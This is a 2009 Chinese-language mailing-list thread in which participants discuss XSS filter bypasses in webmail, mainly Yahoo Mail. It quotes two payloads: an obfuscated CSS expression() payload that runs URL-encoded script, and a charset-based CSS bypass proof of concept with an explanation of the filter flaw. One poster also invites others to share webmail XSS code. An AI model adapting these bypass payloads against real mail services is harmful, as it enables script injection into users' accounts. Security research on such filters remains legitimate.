二楼的是的似乎不是用字符集bypass.而描述里说的是MBCS环境字符集bypass.而据我所知yahoo字符是utf-8,无奈ing.
我希望大家可以交流分享一下各webmail XSS的代码,我在此先放出一段的代码.(可惜上星期己失效)
<style>div{font:'\'
';'}a';background-image:expression((window.rrr==1)?'':eval('rrr=1;eval(unescape(%27%61%6C%65%72%74%28%2F%78%73%73%2F%29%27));'));}'{}</style><div
id="myp">hhhhh</div>2009/6/2 vul crack <[email protected]> > yahoo xss > 今年的研究速度明显慢于去年，去年下半年爆了那么多，但是基本一周新的就能出来，今年到现在已经是第三个了，爆了两次，每次的研究时间变成10天左右了，不知道下半年形式会怎么样？ > > 在 09-5-31，阿賢<[email protected]> 写道： > > n<style> > > #x{ > > background: url('http://www.google.cn{chr}');background: url('http:// > > ;color:red;www.google.cn'); > > } > > </style> > > <div id="x">codz</div> > > 描述: > > nYahoo修复过在html属性里出现的字符集问题 > > n字符集问题不只出现在html属性，同样存在于css，js等地方 > > nYahoo的Filter基于语法分析，语法分析的时候为非MBCS字符集 > > nFilter没有处理好在css里的非法字符，导致MBCS环境下的xss > > > > 问:窃以为Exploit里chr便是代码写入触发CSS的地方.却一直没有明白这样的语句究竟如何能触发CSS.更不明白后面;background: > > url('http://;color:red;www.google.cn'); .恳请大家给与指导. > > > > > > > > > > > --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [email protected] -~----------~----~----~----~------~----~------~--~---
